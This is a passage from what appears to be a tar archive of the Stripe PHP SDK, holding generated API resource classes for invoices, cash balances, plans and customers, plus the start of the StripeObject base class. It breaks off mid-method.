\Stripe\Invoice the sent invoice */ public function sendInvoice($params = null, $opts = null) { $url = $this->instanceUrl() . '/send'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the upcoming invoice */ public static function upcoming($params = null, $opts = null) { $url = static::classUrl() . '/upcoming'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceLineItem> list of invoice line items */ public static function upcomingLines($params = null, $opts = null) { $url = static::classUrl() . '/upcoming/lines'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the updated invoice */ public function updateLines($params = null, $opts = null) { $url = $this->instanceUrl() . '/update_lines'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the voided invoice */ public function voidInvoice($params = null, $opts = null) { $url = $this->instanceUrl() . '/void'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Invoice> the invoice search results */ public static function search($params = null, $opts = null) { $url = '/v1/invoices/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } const PATH_LINES = '/lines'; /** * @param string $id the ID of the invoice on which to retrieve the invoice line items * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceLineItem> the list of invoice line items */ public static function allLines($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_LINES, $params, $opts); } } ��������������������stripe-gateway/lib/CashBalance.php������������������������������������������������������������������0000644�����������������00000004645�14720677707�0013146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A customer's <code>Cash balance</code> represents real funds. Customers can add funds to their cash balance by sending a bank transfer. These funds can be used for payment and can eventually be paid out to your bank account. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $available A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property string $customer The ID of the customer whose cash balance this object represents. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $settings */ class CashBalance extends ApiResource { const OBJECT_NAME = 'cash_balance'; /** * @return string the API URL for this balance transaction */ public function instanceUrl() { $customer = $this['customer']; $customer = Util\Util::utf8($customer); $base = Customer::classUrl(); $customerExtn = \urlencode($customer); return "{$base}/{$customerExtn}/cash_balance"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Customer Cash Balance cannot be retrieved without a ' . 'customer ID. Retrieve a Customer Cash Balance using ' . "`Customer::retrieveCashBalance('customer_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Customer Cash Balance cannot be updated without a ' . 'customer ID. Retrieve a Customer Cash Balance using ' . "`Customer::updateCashBalance('customer_id')`."; throw new Exception\BadMethodCallException($msg); } } �������������������������������������������������������������������������������������������stripe-gateway/lib/Plan.php�������������������������������������������������������������������������0000644�����������������00000022715�14720677707�0011712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * You can now model subscriptions more flexibly using the <a href="https://stripe.com/docs/api#prices">Prices API</a>. It replaces the Plans API and is backwards compatible to simplify your migration. * * Plans define the base price, currency, and billing cycle for recurring purchases of products. * <a href="https://stripe.com/docs/api#products">Products</a> help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represented by plans. This approach lets you change prices without having to change your provisioning scheme. * * For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year. * * Related guides: <a href="https://stripe.com/docs/billing/subscriptions/set-up-subscription">Set up a subscription</a> and more about <a href="https://stripe.com/docs/products-prices/overview">products and prices</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the plan can be used for new purchases. * @property null|string $aggregate_usage Specifies a usage aggregation strategy for plans of <code>usage_type=metered</code>. Allowed values are <code>sum</code> for summing up all usage during a period, <code>last_during_period</code> for using the last usage record reported within a period, <code>last_ever</code> for using the last usage record ever (across period bounds) or <code>max</code> which uses the usage record with the maximum reported usage during a period. Defaults to <code>sum</code>. * @property null|int $amount The unit amount in cents (or local equivalent) to be charged, represented as a whole integer if possible. Only set if <code>billing_scheme=per_unit</code>. * @property null|string $amount_decimal The unit amount in cents (or local equivalent) to be charged, represented as a decimal string with at most 12 decimal places. Only set if <code>billing_scheme=per_unit</code>. * @property string $billing_scheme Describes how to compute the price per period. Either <code>per_unit</code> or <code>tiered</code>. <code>per_unit</code> indicates that the fixed amount (specified in <code>amount</code>) will be charged per unit in <code>quantity</code> (for plans with <code>usage_type=licensed</code>), or per unit of total usage (for plans with <code>usage_type=metered</code>). <code>tiered</code> indicates that the unit pricing will be computed using a tiering strategy as defined using the <code>tiers</code> and <code>tiers_mode</code> attributes. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $interval The frequency at which a subscription is billed. One of <code>day</code>, <code>week</code>, <code>month</code> or <code>year</code>. * @property int $interval_count The number of intervals (specified in the <code>interval</code> attribute) between subscription billings. For example, <code>interval=month</code> and <code>interval_count=3</code> bills every 3 months. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $meter The meter tracking the usage of a metered price * @property null|string $nickname A brief description of the plan, hidden from customers. * @property null|string|\Stripe\Product $product The product whose pricing this plan determines. * @property null|\Stripe\StripeObject[] $tiers Each element represents a pricing tier. This parameter requires <code>billing_scheme</code> to be set to <code>tiered</code>. See also the documentation for <code>billing_scheme</code>. * @property null|string $tiers_mode Defines if the tiering price should be <code>graduated</code> or <code>volume</code> based. In <code>volume</code>-based tiering, the maximum quantity within a period determines the per unit price. In <code>graduated</code> tiering, pricing can change as the quantity grows. * @property null|\Stripe\StripeObject $transform_usage Apply a transformation to the reported usage or set quantity before computing the amount billed. Cannot be combined with <code>tiers</code>. * @property null|int $trial_period_days Default number of trial days when subscribing a customer to this plan using <a href="https://stripe.com/docs/api#create_subscription-trial_from_plan"><code>trial_from_plan=true</code></a>. * @property string $usage_type Configures how the quantity per period should be determined. Can be either <code>metered</code> or <code>licensed</code>. <code>licensed</code> automatically bills the <code>quantity</code> set when adding it to a subscription. <code>metered</code> aggregates the total usage based on usage records. Defaults to <code>licensed</code>. */ class Plan extends ApiResource { const OBJECT_NAME = 'plan'; use ApiOperations\Update; const AGGREGATE_USAGE_LAST_DURING_PERIOD = 'last_during_period'; const AGGREGATE_USAGE_LAST_EVER = 'last_ever'; const AGGREGATE_USAGE_MAX = 'max'; const AGGREGATE_USAGE_SUM = 'sum'; const BILLING_SCHEME_PER_UNIT = 'per_unit'; const BILLING_SCHEME_TIERED = 'tiered'; const INTERVAL_DAY = 'day'; const INTERVAL_MONTH = 'month'; const INTERVAL_WEEK = 'week'; const INTERVAL_YEAR = 'year'; const TIERS_MODE_GRADUATED = 'graduated'; const TIERS_MODE_VOLUME = 'volume'; const USAGE_TYPE_LICENSED = 'licensed'; const USAGE_TYPE_METERED = 'metered'; /** * You can now model subscriptions more flexibly using the <a href="#prices">Prices * API</a>. It replaces the Plans API and is backwards compatible to simplify your * migration. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deleting plans means new subscribers can’t be added. Existing subscribers aren’t * affected. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your plans. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Plan> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the plan with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified plan by setting the values of the parameters passed. Any * parameters not provided are left unchanged. By design, you cannot change a * plan’s ID, amount, currency, or billing cycle. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Plan the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������stripe-gateway/lib/Customer.php���������������������������������������������������������������������0000644�����������������00000054317�14720677707�0012624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This object represents a customer of your business. Use it to create recurring charges and track payments that belong to the same customer. * * Related guide: <a href="https://stripe.com/docs/payments/save-during-payment">Save a card during payment</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $address The customer's address. * @property null|int $balance The current balance, if any, that's stored on the customer. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to their next invoice. The balance only considers amounts that Stripe hasn't successfully applied to any invoice. It doesn't reflect unpaid invoices. This balance is only taken into account after invoices finalize. * @property null|\Stripe\CashBalance $cash_balance The current funds being held by Stripe on behalf of the customer. You can apply these funds towards payment intents when the source is "cash_balance". The <code>settings[reconciliation_mode]</code> field describes if these funds apply to these payment intents manually or automatically. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $currency Three-letter <a href="https://stripe.com/docs/currencies">ISO code for the currency</a> the customer can be charged in for recurring billing purposes. * @property null|string|\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source $default_source <p>ID of the default payment source for the customer.</p><p>If you use payment methods created through the PaymentMethods API, see the <a href="https://stripe.com/docs/api/customers/object#customer_object-invoice_settings-default_payment_method">invoice_settings.default_payment_method</a> field instead.</p> * @property null|bool $delinquent <p>Tracks the most recent state change on any invoice belonging to the customer. Paying an invoice or marking it uncollectible via the API will set this field to false. An automatic payment failure or passing the <code>invoice.due_date</code> will set this field to <code>true</code>.</p><p>If an invoice becomes uncollectible by <a href="https://stripe.com/docs/billing/automatic-collection">dunning</a>, <code>delinquent</code> doesn't reset to <code>false</code>.</p><p>If you care whether the customer has paid their most recent subscription invoice, use <code>subscription.status</code> instead. Paying or marking uncollectible any customer invoice regardless of whether it is the latest invoice for a subscription will always set this field to <code>false</code>.</p> * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|\Stripe\Discount $discount Describes the current discount active on the customer, if there is one. * @property null|string $email The customer's email address. * @property null|\Stripe\StripeObject $invoice_credit_balance The current multi-currency balances, if any, that's stored on the customer. If positive in a currency, the customer has a credit to apply to their next invoice denominated in that currency. If negative, the customer has an amount owed that's added to their next invoice denominated in that currency. These balances don't apply to unpaid invoices. They solely track amounts that Stripe hasn't successfully applied to any invoice. Stripe only applies a balance in a specific currency to an invoice after that invoice (which is in the same currency) finalizes. * @property null|string $invoice_prefix The prefix for the customer used to generate unique invoice numbers. * @property null|\Stripe\StripeObject $invoice_settings * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $name The customer's full name or business name. * @property null|int $next_invoice_sequence The suffix of the customer's next invoice number (for example, 0001). When the account uses account level sequencing, this parameter is ignored in API requests and the field omitted in API responses. * @property null|string $phone The customer's phone number. * @property null|string[] $preferred_locales The customer's preferred locales (languages), ordered by preference. * @property null|\Stripe\StripeObject $shipping Mailing and shipping address for the customer. Appears on invoices emailed to this customer. * @property null|\Stripe\Collection<\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source> $sources The customer's payment sources, if any. * @property null|\Stripe\Collection<\Stripe\Subscription> $subscriptions The customer's current subscriptions, if any. * @property null|\Stripe\StripeObject $tax * @property null|string $tax_exempt Describes the customer's tax exemption status, which is <code>none</code>, <code>exempt</code>, or <code>reverse</code>. When set to <code>reverse</code>, invoice and receipt PDFs include the following text: <strong>"Reverse charge"</strong>. * @property null|\Stripe\Collection<\Stripe\TaxId> $tax_ids The customer's tax IDs. * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock that this customer belongs to. */ class Customer extends ApiResource { const OBJECT_NAME = 'customer'; use ApiOperations\NestedResource; use ApiOperations\Update; const TAX_EXEMPT_EXEMPT = 'exempt'; const TAX_EXEMPT_NONE = 'none'; const TAX_EXEMPT_REVERSE = 'reverse'; /** * Creates a new customer object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Permanently deletes a customer. It cannot be undone. Also immediately cancels * any active subscriptions on the customer. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your customers. The customers are returned sorted by creation * date, with the most recent customers appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Customer> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a Customer object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified customer by setting the values of the parameters passed. * Any parameters not provided will be left unchanged. For example, if you pass the * <strong>source</strong> parameter, that becomes the customer’s active source * (e.g., a card) to be used for all charges in the future. When you update a * customer to a new valid card source by passing the <strong>source</strong> * parameter: for each of the customer’s current subscriptions, if the subscription * bills automatically and is in the <code>past_due</code> state, then the latest * open invoice for the subscription with automatic collection enabled will be * retried. This retry will not count as an automatic retry, and will not affect * the next regularly scheduled payment for the invoice. Changing the * <strong>default_source</strong> for a customer will not trigger this behavior. * * This request accepts mostly the same arguments as the customer creation call. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Customer the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } public static function getSavedNestedResources() { static $savedNestedResources = null; if (null === $savedNestedResources) { $savedNestedResources = new Util\Set([ 'source', ]); } return $savedNestedResources; } /** * @param null|array $params * @param null|array|string $opts * * @return \Stripe\Customer the updated customer */ public function deleteDiscount($params = null, $opts = null) { $url = $this->instanceUrl() . '/discount'; list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom(['discount' => null], $opts, true); return $this; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethod> list of payment methods */ public static function allPaymentMethods($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/payment_methods'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $payment_method * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethod the retrieved payment method */ public function retrievePaymentMethod($payment_method, $params = null, $opts = null) { $url = $this->instanceUrl() . '/payment_methods/' . $payment_method; list($response, $opts) = $this->_request('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Customer> the customer search results */ public static function search($params = null, $opts = null) { $url = '/v1/customers/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } const PATH_BALANCE_TRANSACTIONS = '/balance_transactions'; /** * @param string $id the ID of the customer on which to retrieve the customer balance transactions * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CustomerBalanceTransaction> the list of customer balance transactions */ public static function allBalanceTransactions($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_BALANCE_TRANSACTIONS, $params, $opts); } /** * @param string $id the ID of the customer on which to create the customer balance transaction * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public static function createBalanceTransaction($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_BALANCE_TRANSACTIONS, $params, $opts); } /** * @param string $id the ID of the customer to which the customer balance transaction belongs * @param string $balanceTransactionId the ID of the customer balance transaction to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public static function retrieveBalanceTransaction($id, $balanceTransactionId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_BALANCE_TRANSACTIONS, $balanceTransactionId, $params, $opts); } /** * @param string $id the ID of the customer to which the customer balance transaction belongs * @param string $balanceTransactionId the ID of the customer balance transaction to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerBalanceTransaction */ public static function updateBalanceTransaction($id, $balanceTransactionId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_BALANCE_TRANSACTIONS, $balanceTransactionId, $params, $opts); } const PATH_CASH_BALANCE_TRANSACTIONS = '/cash_balance_transactions'; /** * @param string $id the ID of the customer on which to retrieve the customer cash balance transactions * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CustomerCashBalanceTransaction> the list of customer cash balance transactions */ public static function allCashBalanceTransactions($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_CASH_BALANCE_TRANSACTIONS, $params, $opts); } /** * @param string $id the ID of the customer to which the customer cash balance transaction belongs * @param string $cashBalanceTransactionId the ID of the customer cash balance transaction to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerCashBalanceTransaction */ public static function retrieveCashBalanceTransaction($id, $cashBalanceTransactionId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_CASH_BALANCE_TRANSACTIONS, $cashBalanceTransactionId, $params, $opts); } const PATH_SOURCES = '/sources'; /** * @param string $id the ID of the customer on which to retrieve the payment sources * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BankAccount|\Stripe\Card|\Stripe\Source> the list of payment sources (BankAccount, Card or Source) */ public static function allSources($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_SOURCES, $params, $opts); } /** * @param string $id the ID of the customer on which to create the payment source * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public static function createSource($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_SOURCES, $params, $opts); } /** * @param string $id the ID of the customer to which the payment source belongs * @param string $sourceId the ID of the payment source to delete * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public static function deleteSource($id, $sourceId, $params = null, $opts = null) { return self::_deleteNestedResource($id, static::PATH_SOURCES, $sourceId, $params, $opts); } /** * @param string $id the ID of the customer to which the payment source belongs * @param string $sourceId the ID of the payment source to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public static function retrieveSource($id, $sourceId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_SOURCES, $sourceId, $params, $opts); } /** * @param string $id the ID of the customer to which the payment source belongs * @param string $sourceId the ID of the payment source to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public static function updateSource($id, $sourceId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_SOURCES, $sourceId, $params, $opts); } const PATH_CASH_BALANCE = '/cash_balance'; /** * @param string $id the ID of the customer to which the cash balance belongs * @param null|array $params * @param null|array|string $opts * @param mixed $cashBalanceId * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CashBalance */ public static function retrieveCashBalance($id, $cashBalanceId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_CASH_BALANCE, $params, $opts); } /** * @param string $id the ID of the customer to which the cash balance belongs * @param null|array $params * @param null|array|string $opts * @param mixed $cashBalanceId * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CashBalance */ public static function updateCashBalance($id, $cashBalanceId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_CASH_BALANCE, $params, $opts); } const PATH_TAX_IDS = '/tax_ids'; /** * @param string $id the ID of the customer on which to retrieve the tax ids * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxId> the list of tax ids */ public static function allTaxIds($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_TAX_IDS, $params, $opts); } /** * @param string $id the ID of the customer on which to create the tax id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public static function createTaxId($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_TAX_IDS, $params, $opts); } /** * @param string $id the ID of the customer to which the tax id belongs * @param string $taxIdId the ID of the tax id to delete * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public static function deleteTaxId($id, $taxIdId, $params = null, $opts = null) { return self::_deleteNestedResource($id, static::PATH_TAX_IDS, $taxIdId, $params, $opts); } /** * @param string $id the ID of the customer to which the tax id belongs * @param string $taxIdId the ID of the tax id to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxId */ public static function retrieveTaxId($id, $taxIdId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_TAX_IDS, $taxIdId, $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/StripeObject.php�����������������������������������������������������������������0000644�����������������00000045566�14720677707�0013426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class StripeObject. * * @property null|string $id */ class StripeObject implements \ArrayAccess, \Countable, \JsonSerializable { /** @var Util\RequestOptions */ protected $_opts; /** @var array */ protected $_originalValues; /** @var array */ protected $_values; /** @var Util\Set */ protected $_unsavedValues; /** @var Util\Set */ protected $_transientValues; /** @var null|array */ protected $_retrieveOptions; /** @var null|ApiResponse */ protected $_lastResponse; /** * @return Util\Set Attributes that should not be sent to the API because * they're not updatable (e.g. ID). */ public static function getPermanentAttributes() { static $permanentAttributes = null; if (null === $permanentAttributes) { $permanentAttributes = new Util\Set([ 'id', ]); } return $permanentAttributes; } /** * Additive objects are subobjects in the API that don't have the same * semantics as most subobjects, which are fully replaced when they're set. * * This is best illustrated by example. The `source` parameter sent when * updating a subscription is *not* additive; if we set it: * * source[object]=card&source[number]=123 * * We expect the old `source` object to have been overwritten completely. If * the previous source had an `address_state` key associated with it and we * didn't send one this time, that value of `address_state` is gone. * * By contrast, additive objects are those that will have new data added to * them while keeping any existing data in place. The only known case of its * use is for `metadata`, but it could in theory be more general. As an * example, say we have a `metadata` object that looks like this on the * server side: * * metadata = ["old" => "old_value"] * * If we update the object with `metadata[new]=new_value`, the server side * object now has *both* fields: * * metadata = ["old" => "old_value", "new" => "new_value"] * * This is okay in itself because usually users will want to treat it as * additive: * * $obj->metadata["new"] = "new_value"; * $obj->save(); * * However, in other cases, they may want to replace the entire existing * contents: * * $obj->metadata = ["new" => "new_value"]; * $obj->save(); * * This is where things get a little bit tricky because in order to clear * any old keys that may have existed, we actually have to send an explicit * empty string to the server. So the operation above would have to send * this form to get the intended behavior: * * metadata[old]=&metadata[new]=new_value * * This method allows us to track which parameters are considered additive, * and lets us behave correctly where appropriate when serializing * parameters to be sent. * * @return Util\Set Set of additive parameters */ public static function getAdditiveParams() { static $additiveParams = null; if (null === $additiveParams) { // Set `metadata` as additive so that when it's set directly we remember // to clear keys that may have been previously set by sending empty // values for them. // // It's possible that not every object has `metadata`, but having this // option set when there is no `metadata` field is not harmful. $additiveParams = new Util\Set([ 'metadata', ]); } return $additiveParams; } public function __construct($id = null, $opts = null) { list($id, $this->_retrieveOptions) = Util\Util::normalizeId($id); $this->_opts = Util\RequestOptions::parse($opts); $this->_originalValues = []; $this->_values = []; $this->_unsavedValues = new Util\Set(); $this->_transientValues = new Util\Set(); if (null !== $id) { $this->_values['id'] = $id; } } // Standard accessor magic methods public function __set($k, $v) { if (static::getPermanentAttributes()->includes($k)) { throw new Exception\InvalidArgumentException( "Cannot set {$k} on this object. HINT: you can't set: " . \implode(', ', static::getPermanentAttributes()->toArray()) ); } if ('' === $v) { throw new Exception\InvalidArgumentException( 'You cannot set \'' . $k . '\'to an empty string. ' . 'We interpret empty strings as NULL in requests. ' . 'You may set obj->' . $k . ' = NULL to delete the property' ); } $this->_values[$k] = Util\Util::convertToStripeObject($v, $this->_opts); $this->dirtyValue($this->_values[$k]); $this->_unsavedValues->add($k); } /** * @param mixed $k * * @return bool */ public function __isset($k) { return isset($this->_values[$k]); } public function __unset($k) { unset($this->_values[$k]); $this->_transientValues->add($k); $this->_unsavedValues->discard($k); } public function &__get($k) { // function should return a reference, using $nullval to return a reference to null $nullval = null; if (!empty($this->_values) && \array_key_exists($k, $this->_values)) { return $this->_values[$k]; } if (!empty($this->_transientValues) && $this->_transientValues->includes($k)) { $class = static::class; $attrs = \implode(', ', \array_keys($this->_values)); $message = "Stripe Notice: Undefined property of {$class} instance: {$k}. " . "HINT: The {$k} attribute was set in the past, however. " . 'It was then wiped when refreshing the object ' . "with the result returned by Stripe's API, " . 'probably as a result of a save(). The attributes currently 